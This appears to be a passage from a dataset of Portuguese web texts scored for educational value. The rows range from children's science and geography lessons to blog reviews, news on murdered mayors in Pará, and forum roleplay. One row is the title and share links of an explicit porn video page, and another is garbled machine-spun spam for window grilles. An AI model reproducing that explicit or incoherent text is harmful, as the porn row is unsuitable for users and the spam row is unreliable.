nosso planeta. Quando desmatamos florestas, poluímos rios ou caçamos animais indiscriminadamente, estamos quebrando essa teia e causando desequil��brios que podem ter consequências graves. Cuidar do meio ambiente, proteger as plantas e os animais, é cuidar de nós mesmos e garantir um futuro melhor para as próximas gerações. Que tal começar a observar a natureza ao seu redor? Quais animais você vê interagindo com as plantas? Como você pode contribuir para proteger essa interação?",Ciências,Animais e plantas,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional por introduzir o conceito de interdependência entre plantas e animais de forma clara e acessível, adequada para o ensino fundamental. Explica a fotossíntese, a polinização e o ciclo de nutrientes, além de promover a conscientização sobre a importância da preservação ambiental. O texto é coerente, bem escrito e estimula a reflexão e a observação da natureza.",5,1.0 +"Alou, minhas pessoas lindas e maravilhosas, tão fofinhas... +A resenha de hoje é do tão falado, comentado e idolatrado filme 50 Tons de Cinza. O filme, baseado no livro de mesmo nome escrito por E. L. James e lançado aqui no Brasil pela Editora Intrínseca em 2012, estreou em fevereiro de 2015, um dia antes do Valentine's Day (vulgo Dia dos Namorados da cultura norte-americana). +SE VOCÊ É Fà INCONDICIONAL, e ODEIA ler coisas desagradáveis sobre o livro e o filme, favor, SAIA desta página AGORA!. +A sinopse, se não estou enganada, é a mesma do livro, cujo enredo me era desconhecido, uma vez que não li. Sim, senhores, não quis mesmo ler, achei a história muito apelativa e já explico o porquê. +Gostaria inicialmente de agradecer a todos que continuam acompanhando o blog, seja lendo, deixando comentários ou só dando uma espiada. O importante é divulgar curiosidades, opiniões... E meus textos!! XD +A resenha de hoje faz parte do Desafio Literário Skoob 2015. Para o mês de março, deveríamos resenhar um livro escrito por Mulher. Minha escolha foi bem aleatória, pois eu tenho vários livros de autoras a serem lidos. +Escolhi resenhar Êxtase Mortal, um livro que ganhei de Natal. É uma edição de bolso do tipo vira-vira, ou seja, tenho 2 livros em 1, lançada pela Edições BestBolso em 2012. O livro foi inicialmente publicado tendo J.D. Robb como autor (1996), mas posteriormente foi confirmado como pseudônimo de Nora Roberts, por isso se encaixa no tema de Março do DL. +A sinopse oficial segue logo aí abaixo: +No ano de 2058, a forma mais popular de entretenimento são os poderosos jogos de realidade virtual. Através deles, qualquer pessoa é capaz de ingressar facilmente em um mundo fantástico, repleto de prazeres e perigos. A vantagem é que não há riscos: é tudo uma grande brincadeira, uma mera simulação. Ou, pelo menos, era isso o que todos pensavam até um brilhante engenheiro aparecer morto. Eve Dallas descobre que essa morte é apenas uma das peças de um caso muito mais assustador do que aparenta. +Enquanto isso, as mortes continuam. Um grande advogado e um político controverso são as vítimas seguintes. Os três não apresentavam nenhuma ligação entre si, senão o estranho sorriso pós-morte e algo que a autópsia vem revelar: pequenas queimaduras no interior de seus cérebros. Seria apenas uma anomalia genética ou um método avançado de assassinato? Nessa investigação, Eve Dallas ingressa no fascinante mundo da realidade virtual e descobre que nem sempre é fácil distinguir a realidade da ilusão.",original,original,original,original,1,0.2 +"A distância em linha reta entre Corupá (Santa Catarina) y Alto Alegre do Pindaré (Maranhão) é 2,554.21 km, mas a distância de condução é 3,239 km.",original,original,original,original,1,0.2 +"Equipes ágeis se refere a grupos pequeno de pessoas, com múltiplos saberes, empenhadas em um determinado projeto. Entenda o que são e sua importância. +A metodologia ágil surgiu na área de tecnologia, como uma alternativa ao aperfeiçoamento de processos e entrega de qualidade aos clientes. +Seu objetivo é otimizar o fluxo de trabalho, melhorar a produtividade em projetos e aumentar o sucesso do negócio. +Apesar de ter sido desenvolvida para a área de tecnologia e desenvolvimento de softwares, no entanto, nada impede que ela seja utilizada por outras áreas de atuação. E com isso, trazer resultados excepcionais para as mais variadas organizações e equipes. +Para esclarecer, não tem a ver com fazer mais rápido. Agilidade nesse caso não é sinônimo de velocidade. É também trabalhar para ter resultados em menor tempo. Mas ter equipes ágeis tem a ver com trabalho sincronizado, colaborativo e resultados promissores. +Como surgiu o manifesto ágil? +O desenvolvimento de softwares tem impulsionado o mercado. Desde o advento da globalização, a área de tecnologia tem vivido em franco crescimento. +No entanto desenvolver softwares nunca foi uma atividade fácil. Desenhar programas era uma atividade trabalhosa e demorada. Além disso, muitas vezes o produto trazia funcionalidades que se tornavam obsoletas, devido a demora na finalização. +Sendo assim, um grupo formado por 17 desenvolvedores se reuniram em solo americano em 2001. Interessados em discutir maneiras de desenvolvimento de tecnologias leves e efetivas, eles desenvolveram um documento intitulado como “Manifesto para o Desenvolvimento Ágil de Software”. +Esse documento baseia-se em 12 princípios que defendem o desenvolvimento ágil de softwares. Dentre eles, destacam-se quatro: +Colocar indivíduos e suas interações acima de processos e ferramentas; +Software funcionando acima de documentação abrangente; +Cultura de colaboração com o cliente acima de negociação de contratos, +Resposta rápida às transformações do mundo, mais do que seguir um plano. +Apesar de valorizar os processos de trabalho, legalidade de documentações e contratos e os planos de trabalho, a ideia é fazer com que o cliente seja atendido, dentro de sua real necessidade, no menor tempo possível. +Desse manifesto, nasceu a metodologia ágil, e sendo assim, as equipes ágeis. +A metodologia ágil nas empresas +Planejamento sempre foi a palavra de ordem na busca do sucesso das organizações. +No entanto o mundo muda rapidamente. O previsto para hoje, amanhã se torna o impraticável. +As empresas precisam acompanhar o desenvolvimento do mundo VUCA e garantir que os resultados serão satisfatórios mesmo em meio a tantas incertezas. +Nesse sentido, a metodologia ágil se transformou numa aliada das organizações. E a partir dela, o desenvolvimento de equipes ágeis. Preparadas para lidar com mudanças e prontas a se adaptarem as novas realidades do mundo do trabalho. +Para aqueles que já conhecem a experiência da metodologia ágil, fica evidente as vantagens de ter cliente próximo dos processos de trabalho. Mas para aqueles que ainda não conhecem, vale a pena vivenciar a experiência. +Sua filosofia é o aprimoramento dos processos de trabalho, aumento das interações na equipe e agilização do fluxo de trabalho. +O que são equipes ágeis +Equipes ágeis são aquelas que se concentram na relevância do resultado. O objetivo é focar na necessidade do cliente. Dessa forma o eixo está em atender a necessidade do cliente se adaptando as mudanças que acontecem no meio do caminho. +Equipes ágeis são formadas por grupos pequenos de pessoas. Entre cinco e seis pessoas. com habilidades distintas para o cumprimento do objetivo. +Sendo assim, é preciso criatividade e um time altamente capacitado tecnicamente, capaz de se adaptar as mudanças e superar esses desafios. +Para entender como é uma equipe ágil, pense em uma reunião de trabalho. A ideia é ter uma reunião confortável, onde todos possam ser ouvidos e serem participativos. Se alguém fica de fora disso, provavelmente sua equipe...",original,original,original,original,4,0.8 +"Máfia que atua na região pode estar por trás da morte do prefeito - Agencialide +Inicio Cidade Máfia que atua na região pode estar por trás da morte do... +Polícias afirmaram não ter dúvida de que vão chegar aos criminosos (FOTO: MÁCIO FERREIRA / AG. PARÁ) +Delegado geral da Polícia Civil revelou que execuções dos prefeitos de Tucuruí, Goianésia e Breu Branco são consequência de envolvimento político com mafiosos. +Por volta do meio dia desta quarta-feira, 26, o titular da Secretaria de Estado de Segurança Pública e Defesa Social (Segup), Jeannot Jansen, o comandante da Polícia Militar, coronel Hilton Benigno e o delegado geral da Polícia Civil, Rilmar Firmino, chegaram em Tucuruí para acompanhar os trabalhos iniciais de investigação do assassinato do prefeito Jones William da Silva Galvão (PMDB), de 42 anos, ocorrido na tarde de terça-feira, 25. +O delegado geral da Polícia Civil Rilmar Firmino rebateu de forma as críticas quanto às investigações relativas à série de execuções de políticos com mandato no sudeste do Pará. Foram cinco, de janeiro do ano passado até hoje. Ele afirmou não ter dúvida de que vão chegar aos criminosos, “ao contrário das declarações irresponsáveis de deputados que não têm compromisso com a verdade, que usam da imunidade parlamentar para semear a discórdia e dizer que a polícia não investiga”, alfinetou. +O delegado também revelou que as execuções, como todo mundo já desconfiava, estão interligadas e são consequência do envolvimento dos políticos com uma máfia que atua na região. Sem dar nomes aos bois ou esclarecer de que exatamente se trata, o delegado geral mencionou que, “infelizmente, na política, pessoas de bem acabam fazendo acordos espúrios, e assim acaba acontecendo como acontece no tráfico de drogas”, e que “se trata de cobiça, de ambição pelo poder, como foram os casos de Goianésia, de Breu Branco, já temos elementos suficientes para dizer que foi isso”. +O delegado geral adiantou, ainda, que os prefeitos assassinados – “pessoas de bem, que não tinham inimigos e não viviam na bandidagem” – fizeram articulações com gente errada, e concluiu que “dentro da política tem algumas articulações que acabam com as pessoas de bem pagando com a vida”. +O caso de Goianésia, Rilmar Firmino contou que pouca gente sabe, mas o prefeito João Gomes, o Russo, foi morto a mando do finado vereador Zé Ernesto (também assassinado a tiros, no dia 18 de fevereiro deste ano, menos de um mês depois da morte de Russo). O pistoleiro que executou Russo está preso sendo capturado no Piauí, e os que mataram o prefeito de Breu Branco, Diego Kolling, “daqui a pouco” serão presos, asseverou o delegado. +Rilmar Firmino também revelou que as execuções, como todo mundo já desconfiava, estão interligadas e são consequência do envolvimento dos políticos com uma máfia que atua na região. Sem dar nomes aos bois ou esclarecer de que exatamente se trata, o delegado geral mencionou que, “infelizmente, na política, pessoas de bem acabam fazendo acordos espúrios, e assim acaba acontecendo como acontece no tráfico de drogas”, e que “se trata de cobiça, de ambição pelo poder, como foram os casos de Goianésia, de Breu Branco, já temos elementos suficientes para dizer que foi isso”. +Equipes da Divisão de Homicídios, da Superintendência Regional e da Seccional de Polícia Civil do Pará de Tucuruí, além da Inteligência da Secretaria de Segurança Pública e Defesa Social do Pará, estão investigando o assassinato do prefeito Jones Willian. +Rilmar Firmino garantiu que, “apesar de complexa, a investigação vai chegar aos culpados pelo ‘crime de encomenda’. Assim foi em Goianésia, assim será em Breu Branco e Tucuruí”. +O delegado informou que o prefeito foi morto com oito disparos de pistola (ponto 40); cinco acertaram a cabeça do gestor municipal. “É um crime de difícil elucidação, mas vamos chegar aos responsáveis. É um crime contra o Estado. Já estão sendo recolhidas câmeras de circuitos internos de residências, estabelecimentos comerciais, e sendo produzido...",original,original,original,original,1,0.2 +" Módulo de Introdução à Gestão de Treinamento +TREINAMENTO GERENCIAL PARA FORTALECER +Participação no Treinamento para Todos +Documentos incluidos neste modulo de Treinamento Gerencial +As Quatro Questões Essenciais, o essencial de GT para o empoderamento +Treinamento Gerencial, um manual de uma oficina de trabalho para participantes +Dicas de Gestão, oito dicas para melhorar a gestão +GT, Notas para o Instrutor para facilitadores no treinamento +Organizar através do Treinamento, um específico tipo de treinamento +A Gestão é demasiado importante para ser feita apenas pelos gestores +A Treinamento Gerencial, tal como é apresentada neste site, tem uma metodologia especial. É algo que vai para além do treinamento tradicional, e é algo que contribui directamente para um aumento na capacidade, força ou empoderamento de grupos, organizações ou comunidades. +Irá encontrar uma sobreposição entre este módulo e os outros. A intervenção da mobilização comunitária, por exemplo, está estritamente ligada com a intervenção de gestão de treinamento (aplicada às comunidades), daí que a fronteira entre as duas não é fácil de definir. +Aqui estão alguns dos documentos relativos a este módulo. As Quatro Questões Essenciais, lista as quatro questões que fazem parte integrante da gestão de treinamento. Todas juntas, as questões e a resposta a cada uma delas, formam um argumento lógico, que assenta na raíz do plano do projecto e de toda a concepção relativa à gestão. Treinamento Gerencial, é um manual de oficina de trabalho para participantes que lista novamente as quatro questões, e outros princípios de tomada de decisões em gestão. Ver também Treinamento Gerencial, do capítulo Três de ""Treinamento para Fortalecer,"" que consiste no currículo de treinamento do programa de gestão da comunidade. +Treinamento Gerencial, Notas para o Instrutor, é dirigido a facilitadores ou instrutores e explica como usar o material e apresenta os princípios de gestão de treinamento, Esboço da Estratégia de Treinamento Gerencial, é um resumo da estratégia do PTC, e mostra como a gestão de treinamento é um dos três principais propulsores da metodologia desenhada para empoderar as comunidades de baixo rendimento. A Exposta Estratégia de Treinamento Gerencial,é uma expansão do esboço, mas desenvolve com mais pormenores cada um dos elementos da estratégia. Organizar através do Treinamento, descreve como o treinamento, neste programa, vai para além da usual suposição de transferência de conhecimentos, e pode ser usado para a reestruturação (reorganização) institucional de um grupo, organização ou comunidade de modo a ser mais eficaz e a ter mais capacidade. +Este módulo é enriquecidocom o de Gestão Participativa.",original,original,original,original,4,0.8 +"Grade para janela QUINTA DA MARINHA 2754 contate em 800 180 707 Serviço de reparo revisão e emergência PT-11 +Início - Serralheiro Cascais e Estoril PT-11 > Grade para janela Cascais e Estoril PT-11 > Grade para janela QUINTA DA MARINHA +Precisa de instalar uma grade nas suas janelas para mais segurança em Quinta da marinha ? +Grade para janela em QUINTA DA MARINHA +Deixe-nos ajudá-lo para a sua necessidade de Grade para janela dentro da zona de QUINTA DA MARINHA +Além de fornecer um o interesse sério podemos se encontram os um preço mais inobteressantes em Quinta da marinha +Colocação de grade bombardeiro graem Quinta da marinha defesa Quinta da marinha defesa Grades de defesa Fortis Quinta da marinha Existem 2 tipos de posto em movimento a colocação de fachada e deitado na mesa em Quinta da marinha +Existem dois tipos de o set up na fachada ou na quadro em Quinta da marinha +Meeste molde de colocação fechando em Quinta da marinha Uma grade de defesa parece uma boa resposta para a segurança do seus windows? local acham que estão certos e fará todos os esforços para confirmar que seu projeto está em boas mãos em Quinta da marinha Grades de defesa em Quinta da marinha de Valois Uma grade de defesa é de capital e decisiva para seus windows ou seus escaninhos, se seu antecipar é um indivíduo ou um negócio em Quinta da marinha Uma marca representa para metal motor de cortina é a marca RONDO em Quinta da marinha Grades de defesa Azur em Quinta da marinha +Defesa de grades em Quinta da marinha da Basrentávelha +Barras de segurança de Provence em Quinta da marinha Instalador e instalador Quinta da marinha defesa degrille e seus arredores Instalação de grade de defesa ao instalador em Quinta da marinha em Quinta da marinha de defesas +Grade para janela QUINTA DA MARINHA 2754 QUINTA DA MARINHA 2754 +Grade para janela Serralheiro QUINTA DA MARINHA 2754",original,original,original,original,1,0.2 +"Por onde anda a Emmanuelle do “Cine Band Privé”? Veja – SRS +Por onde anda a Emmanuelle do “Cine Band Privé”? Veja +Quem cresceu na década de 1990 e início dos anos 2000 deve se recordar da extinta sessão de filmes “Cine Band Privé”, que ia ao ar pela Band nas madrugadas de sábado para domingo. +Exibindo filmes eróticos, a sessão fez bastante sucesso, chegando a liderar o horário diversas vezes, e não raramente, sendo a atração mais assistida do canal, com 5 ou 6 pontos. +Inicialmente exibido às sextas-feiras, quando era chamado de “Sexta Sexy”, de 1993 até 1995, passou a se chamar “Cine Privé” e posteriormente “Cine Band Privé”, exibindo longas mais voltados à sensualidade e erotismo. +Dentre essas séries transmitidas, está “Emmanuelle”, que teve a já falecida Sylvia Kristel como protagonista, mas também a atriz Krista Allen, que fazia a alegria da garotada. Por onda anda? +Krista Allen está atualmente com 46 anos, e a série de telefilmes “Emmanuelle” abriu as portas para ela, que sempre engata participações em séries e longa-metragens. +A atriz já teve um dos relacionamentos mais badalados de Hollywood. Em 2002, conheceu George Clooney nas filmagens de “Confissões de Uma Mente Perigosa”. Eles namoraram por dois anos. Krista também já foi casada duas vezes, a última entre 2010 e 2011, com um cantor britânico, Mams Taylor. +Profissionalmente, participou de diversas produções, como em episódios pontuais de “Smallville”, “Friends”, “Monk”, “Charmed”, “Modern Family”, dentre outras. +Recentemente, foi protagonista da série “Significant Mother”, da emissora The CW, rede aberta dos Estados Unidos que pertence à Warner Bros. e CBS. Devido à baixa audiência, foi cancelada com apenas nove episódios em agosto do ano passado. +Previous Post:Mulher Melancia lança nova dança e derruba a internet com sua sensualidade. Assista e babe +Next Post:COISAS BIZARRAS QUE VOCÊ PODE ENCONTRAR NO GOOGLE STREET VIEW",original,original,original,original,0,0.0 +"Diogo Piçarra, Carolina Deslandes e Agir escreveram e gravaram juntos ""Respirar""- uma música para o projecto de aproximação à floresta- uma iniciativa do Rock in Rio Lisboa-2018 com a Liga da Protecção da Natureza #estátudoconectado. +A RFM esteve na apresentação e trouxe-te um bocadinho deste ""Respirar"" . Clica no video em baixo +O Rock in Rio-Lisboa acaba de lançar o projecto ESTÁ TUDO CONECTADO, uma iniciativa em parceria com a Liga para a Protecção da Natureza (LPN). #EstaTudoConectado para mostrar que a Floresta está presente nas acções do quotidiano, e em tudo o que se faz ao longo do dia, seja nas horas de trabalho, seja nos momentos de lazer. +Agir, Carolina Deslandes e Diogo Piçarra juntam-se pela primeira vez e dão voz ao tema “Respirar”, especialmente composto para este projeto. Podes ver aqui o vídeo da estreia desta música apresentada dia 4 de Junho, no Parque da bela Vista. ""Respirar"" será comercializado em todas as plataformas digitais e as receitas dos primeiros seis meses reverterão, na íntegra, para o projeto da LPN cujo objectivo é preservar a Floresta. +DIogo, Carolina e Agir com as 3 guitarras clássicas de madeira de árvores queimadas nos incêndios de Braga de 2017 +Em parceria com a APC – Instrumentos Musicais e com a Câmara Municipal de Braga, foram construídas três guitarras clássicas através de madeira de árvores queimadas nos incêndios de Braga de 2017, mais concretamente da aldeia de Esporões. Estas guitarras, assim como outros artigos doados e guitarras autografadas por artistas que atuarão na 8.ª edição do Rock in Rio-Lisboa ( Bruno Mars já confirmou que participará, ficarão disponíveis para leilão na plataforma digital E-Solidar. O valor angariado nestes leilões reverterá, na íntegra, para um projecto de conservação e restauração florestal a desenvolver pela LPN, com o apoio do FSC Portugal.",original,original,original,original,2,0.4 +"Olá, pequenos exploradores! Já pararam para pensar em como o Brasil é um país gigante e cheio de lugares diferentes? Hoje, vamos embarcar em uma aventura para conhecer as paisagens brasileiras, que são como um grande quebra-cabeça de cores, formas e sons! + +Imagine que você está voando de avião sobre o Brasil. Lá de cima, o que você vê? Talvez, um marzão azul brilhante beijando a areia da praia, não é? Essa é a paisagem litorânea! Nela, encontramos cidades como Rio de Janeiro e Salvador, com praias lindas e muita gente animada. As ondas quebram na areia, os passarinhos voam sobre o mar, e os pescadores lançam suas redes. Já sentiu a brisa do mar e ouviu o barulho das ondas? Essa é a magia do litoral! + +Agora, imagine que o avião está sobrevoando uma floresta gigante, verde e cheia de árvores altas. Essa é a Floresta Amazônica, a maior floresta tropical do mundo! Nela, vivem muitos animais, como macacos, araras e onças, além de rios enormes como o Rio Amazonas, que parece um mar de água doce. A floresta é muito importante para o nosso planeta, pois ajuda a manter o ar limpo e a proteger os animais. + +Se o avião continuasse a voar, poderíamos ver campos abertos, com plantações e animais pastando. Essa é a paisagem do Cerrado e da Pampa, onde o sol brilha forte e a terra é fértil. No Cerrado, encontramos árvores baixas e retorcidas, e na Pampa, campos vastos com grama e gado. Já imaginaram um cavalo correndo livremente nesses campos? + +E não podemos esquecer das montanhas! No Sudeste do Brasil, encontramos a Serra da Mantiqueira, com picos altos e muito verde. Lá, o ar é fresco e a vista é incrível. Já pensou em escalar uma montanha e ver o mundo lá de cima? + +As paisagens brasileiras são muito importantes para nós, pois elas nos fornecem comida, água, ar puro e muitos outros recursos. Por isso, devemos cuidar e proteger a natureza, para que as futuras gerações também possam aproveitar essas maravilhas. Que tal plantar uma árvore, economizar água ou separar o lixo para reciclagem? Pequenas ações podem fazer uma grande diferença! + +Então, qual paisagem brasileira você mais gostou de conhecer hoje? Que tal desenhar a sua paisagem favorita e mostrar para seus amigos e familiares? Explorar o Brasil é uma aventura incrível, e cada paisagem tem sua beleza e importância. Vamos continuar aprendendo e cuidando do nosso país!",Geografia,Paisagens brasileiras,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional, especialmente para os anos iniciais do ensino fundamental. Ele introduz de forma lúdica e acessível as diferentes paisagens brasileiras, como o litoral, a Floresta Amazônica, o Cerrado, a Pampa e as montanhas, destacando suas características e importância. O texto estimula a imaginação das crianças e promove a conscientização sobre a preservação ambiental, além de sugerir atividades práticas como desenhar e plantar árvores. A linguagem é clara e adequada ao público-alvo.",5,1.0 +"Os seus dados pessoais serão utilizados para melhorar a sua experiência por toda a loja, para gerir o acesso à sua conta e para os propósitos descritos na nossa política de privacidade.",original,original,original,original,0,0.0 +"Comunicar é preciso! – sinalAberto +A comunicação é toda a interacção que ocorre em contexto definido, seja introspectiva, entre agentes e grupos ou em acção pública generalista ou temática. +O pensamento e a sua expressão adquirem assim relevância, quer pelo que traduzem nas emoções e sentimentos do próprio indivíduo, fale-se em atitude de bem-estar, apenas fluência e gosto ou por vezes mal-estar, quer pela influência e consequências que gera no interlocutor unitário ou colectivo. +Ao contrário, a incomunicação é o contrário da comunicação, resultante da falta de competência linguística (oral, verbal ou gestual), bem como da falta de adequação da estrutura personalizada a situações complexas, nomeadamente em estado de crise, em que há falta de reacção ao facto, extemporaneidade do discurso ou desajustamento da fala por incredibilidade ou sofrimento. +A comunicação pode falhar, porque a terminologia utilizada pode ter uma técnica ininteligível, por serem feitas suposições sobre o significado das palavras desconhecidas ou capciosas, por desatenção, falta de concentração e memória, ou devido aos acidentes de uma mente treinada, em que há tendência para a pessoa se deixar arrastar menos para o que vê mas antes para o que pensa estar a ver. +O domínio público da comunicação assume particular relevância, porque influencia os auditores, leitores e visionários, porque desencadeia diálogo, estigmas e paradigmas, e porque contribui para a construção da designada opinião pública, em sentido digno ou manipulado, valorativa ou pejorativa, em crescendo ou minimizadora. +A comunicação social, como ciência social aplicada, estuda os acontecimentos, factos ou unidades de crise, que surgem na sociedade e justificam dissertação e disseminação no sentido informativo e formativo. +Comunicar implica perguntar, ouvir, responder e explicar +Aqui reside o busílis da questão. Há comunicação que tem por exercício o domínio especulativo, sensacionalista, demagógico ou pervertido, gerador de receitas pecuniárias e inflamação de mentes fragilizadas. E há comunicação que se traduz em selecção e rigor de conteúdos, informação de interesse público e verdadeira formação e educação permanente, a que defendemos. +Comunicar implica perguntar, ouvir, responder e explicar. E implica descobrir o motivo, ter a compreensão partilhada acerca do problema e encorajar o receptor a participar no processo de tomada de decisão. +Comunicar é preciso, porque a liberdade individual, a coesão grupal e o estímulo à acção transformadora são condicionantes da elaboração de juízos de valor, da formulação de atitudes interventivas e do progresso na sociedade, em democracia, justiça social e direitos humanos.",original,original,original,original,3,0.6 +"O imóvel que você procura está aqui! 20 anos de experiência +ÓTIMO APARTAMENTO NA ALDEOTA DE ELEVADOR E SOMBRA O ANO INTEIRO POSSUI SALA, 03 QUARTOS SENDO 01 SUÍTE, BANHEIRO SOCIAL, COZINHA, &Aa... +ÓTIMO APARTAMENTO NO BAIRRO DO MEIRELES EM FORTALEZA, COM 03 QUARTOS SALA, VARANDA, 03 QUARTOS SENDO 01 SUÍTE, WC SOCIAL, COZINHA, &A... +ÓTIMA CASA NO BAIRRO DE FÁTIMA GARAGEM PARA 06 CARROS / SALA DE ESTAR / 04 QUARTOS SENDO 03 SUÍTES / BANHEIRO SOCIAL / COZINH... +EXCELENTE APARTAMENTO NO BAIRRO DAMAS SALA, 03 QUARTOS SENDO 01 SUÍTE, BANHEIRO SOCIAL, COZINHA, ÁREA DE SERVIÇO. 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O livre arbítrio é e sempre será seu. +Unknown 28 de dezembro de 2018 17:53",original,original,original,original,1,0.2 +"Lago Nazuna - Página 2 +Jewel : 176035 +Jewel : 173091 +Assunto: Re: Lago Nazuna Sex Maio 23, 2014 5:43 pm +- Eu cá não quero ser fantasma +Violeta Iniahama +Jewel : 165815 +Localização : Num local UuU +Assunto: Re: Lago Nazuna Sex Maio 23, 2014 5:44 pm +Felix-Vamos mergulhar! +-Mas com cuidado*mergulhamos* +Felix-Sobe bem +-Não se aproxime dos nenufares... +Felix-*nadando ate aos nenufares*Ups. *w* +- --"" +carteirinha: +Assunto: Re: Lago Nazuna Sex Maio 23, 2014 5:45 pm +- *riso fofo* O Felix é mesmo engraçado ^^ +Assunto: Re: Lago Nazuna Sex Maio 23, 2014 5:46 pm +Shuy: *Cria um tapa-olho e coloca em Yuuko* +- Shuy, non consigo ver nada... +Shuy: Melhor assim u3u +Assunto: Re: Lago Nazuna Sex Maio 23, 2014 5:47 pm +- Porque é que lhe estás a fazer isso, Shuy? +Felix-Nyah sou engraçado...*w* +- Lá está o Félix o cão-gato de novo --"" +Felix-Torna-me especial dos outros cães. +Assunto: Re: Lago Nazuna Sex Maio 23, 2014 5:49 pm +Nigou: Hey! u.u +- *ri* Calma Nigou, sabes que és o cão que mais gosto ^^ +Nigou: Assim sim u.u +Assunto: Re: Lago Nazuna Sex Maio 23, 2014 5:51 pm +Felix-*apanha cuidadosamente uma flor de lotus e poem no meu cabelo* Kawai. *u* +-Obrigada ^^ Não querias nadar aqui então... +Felix-Não digas mais!*começa a nadar* +- *Tenta tirar* non sai... +Shuy: Baka... +- Shuy, não quero fazer aquilo, tire isso agora! +Shuy: non u3u +- Shuy... é um ordem... +Shuy: Esta bem... *Tira o tapa-olho* +Assunto: Re: Lago Nazuna Sex Maio 23, 2014 5:54 pm +Felix-*nadando* ^^ +-*com agua a tocar as vezes a tocar no nariz* +Assunto: Re: Lago Nazuna Sex Maio 23, 2014 5:56 pm +- Fazer... aquilo? +Assunto: Re: Lago Nazuna Sex Maio 23, 2014 5:57 pm +-Uma pergunta fazer aquilo o que? +Felix-*para* +Assunto: Re: Lago Nazuna Sex Maio 23, 2014 6:15 pm +Shuy: Yuu não gosta de usar... +- *Tapa a boca de Shuy* Apenas não gosto de faze-lo, não é nada demais... *Tentar disfarçar* pu pu pu... +Shuy: ¬¬ +Assunto: Re: Lago Nazuna Sex Maio 23, 2014 6:16 pm +- Bem, vou fingir que não é nada, visto que não queres contar o que é, mas aviso já que não sabes disfarçar *pisca o olho a Yuuko* +Assunto: Re: Lago Nazuna Sex Maio 23, 2014 6:18 pm +""-.- sei disso... +Shuy: pensando bem Yuuko fica mais bonito assim ^^ *Vai a margem* +Assunto: Re: Lago Nazuna Sex Maio 23, 2014 6:19 pm +- Shuy! *ri* Etto... Gomen, se ofendi Yuuko... +Assunto: Re: Lago Nazuna Sex Maio 23, 2014 6:21 pm +- Tudo bem... Shuy gosta dos meus olhos apenas... ""^^ +Shuy: Baka... Você mesmo que gosta dos seus olhos! +- O que que tem, gostar dos seus próprios olhos? +Assunto: Re: Lago Nazuna Sex Maio 23, 2014 6:22 pm +- *olha Yuuko nos olhos* Mas são mesmo bonitos... ^^ +Assunto: Re: Lago Nazuna Sex Maio 23, 2014 6:28 pm +- Claro, são das cores de minhas mães u3u +Shuy: [Frase estranha ""^^] +- Os seus olhos também são bonitos, Pop~Chan ^^ +Shuy: Nem me lembro de você com os olhos da mesma cor *Fala sem querer* Etto... eu não disse isso +- Shuy... Você me conhecia antes de eu ficar cego? +Shuy: Claro que não... Eu... Hana me contou ""^^ +- Hana ainda não havia nascido... ¬¬ +Shuy: Ah, sim... Foi a Yuki! +- Nem mesmo a Yuki ¬¬ O que esta escondendo? +Assunto: Re: Lago Nazuna Sex Maio 23, 2014 6:31 pm +- Arigatou ^^ Etto... [O que é que digo?] Bem, Yuuko, o Shuy deve ter alguma razão para te estar a esconder alguma coisa, não te zangues. Demo... Eu sou do tipo de pessoas que acha que não deve haver segredos entre amigos, mas não me vou meter, o assunto é vosso ^^ +Assunto: Re: Lago Nazuna Sex Maio 23, 2014 6:37 pm +- Pop~chan tem rasão... Sem segredos entre amigos... +Shuy: Eu quem o diga ¬¬ +- Certo, mas você conta primeiro! +Shuy: Se segredo veio primeiro... +- ... ¬¬ Oki... Não gosto de usar magia para me fazer enxergar com o olho esquerdo. sua vez... +Shuy: Bem... Costumava te observar enquanto era criança... +- ...QueeeE???? Como assim? O..o +Shuy: Isso. Te observava sempre: Da escola a sua casa, quando lhe maltratavam, depois que Minako~San lhe acolheu, Quando aprendeu magia e foi criado pelo Rei, quando fugia do palácio, quando ficou só, quando conheceu Yume, quando caso...",original,original,original,original,0,0.0 +"Video Porno GOZANDO NA BOCA DA AMIGA 1 min 41 sec Xxx Videos - Xx Porno +HomeXvideos Porno E Videos De Sexo BrasileiroVideo Porno GOZANDO NA BOCA DA AMIGA 1 min 41 sec Xxx Videos Video Porno GOZANDO NA BOCA DA AMIGA 1 min 41 sec Xxx Videos Xvideos Porno E Videos De Sexo Brasileirosetembro 10, 2016 Tatiana Sousa0 comments6 views amiga, boca, boca amiga, gozando, gozando boca Publicidade Video Porno GOZANDO NA BOCA DA AMIGA 1 min 41 sec Compartilha aí !Clique para compartilhar no Facebook(abre em nova janela)Clique para compartilhar no WhatsApp(abre em nova janela)Compartilhe no Google+(abre em nova janela)Clique para compartilhar no Twitter(abre em nova janela)Compartilhe no Skype(abre em nova janela)Clique para compartilhar no LinkedIn(abre em nova janela)Clique para compartilhar no Tumblr(abre em nova janela)Clique para compartilhar no Reddit(abre em nova janela)Clique para compartilhar no Telegram(abre em nova janela)Clique para compartilhar no Pocket(abre em nova janela)Clique para enviar por email a um amigo(abre em nova janela) +setembro 26, 20160 comments Lesbicas Duas meninas super gostosas transando Xx Video 10 min",original,original,original,original,0,0.0 +"Uma solução eficaz para responder à gestão de embalagens dos produtos alimentares. +As nossas máquinas lavam e higienizam utilizando detergentes e desinfectantes que garatem a assepsia das embalagens em conformidade com as exigências legais e eliminando qualquer tipo de etiquetagem. +Além disso, existe um sistema de reciclagem de àgua em 75% do processo, reduzido substancialmente o seu consumo. +Como Funciona o Centro de Recuperação de Embalagens do MAC +Reutilizando embalagens apenas existe o custo de lavagem para uma nova utilização, bastante inferior ao da compra de uma nova +A reutilização permite a diminuição e optimização do stock de embalagens +Diminuição do desperdício de embalagens e um processo de lavagem eco-eficiente +Garantia de qualidade da saúde pública através de um processo que cumpre as normas dispostas no Regulamento CR nº 852/2004",original,original,original,original,1,0.2 +"Você já parou para pensar como organizamos os eventos que aconteceram no passado? Imagine uma longa estrada, onde cada ponto representa um momento importante. Essa estrada é a Linha do Tempo! Ela é uma ferramenta incrível que nos ajuda a entender a história, a nossa vida e até mesmo o futuro. + +Mas, por que usar uma Linha do Tempo? Pense em como seria difícil entender uma história complexa sem organizar os eventos. A Linha do Tempo nos permite visualizar a sequência dos acontecimentos, identificar as causas e consequências, e perceber como as coisas mudaram ao longo do tempo. É como montar um quebra-cabeça, onde cada peça se encaixa para formar um quadro completo. + +Imagine que você quer contar a história da sua vida. Você poderia começar com o seu nascimento, depois seus primeiros passos, o primeiro dia na escola, e assim por diante. Ao colocar esses eventos em uma Linha do Tempo, você consegue ver como cada um influenciou o seguinte, e como você se tornou a pessoa que é hoje. Na 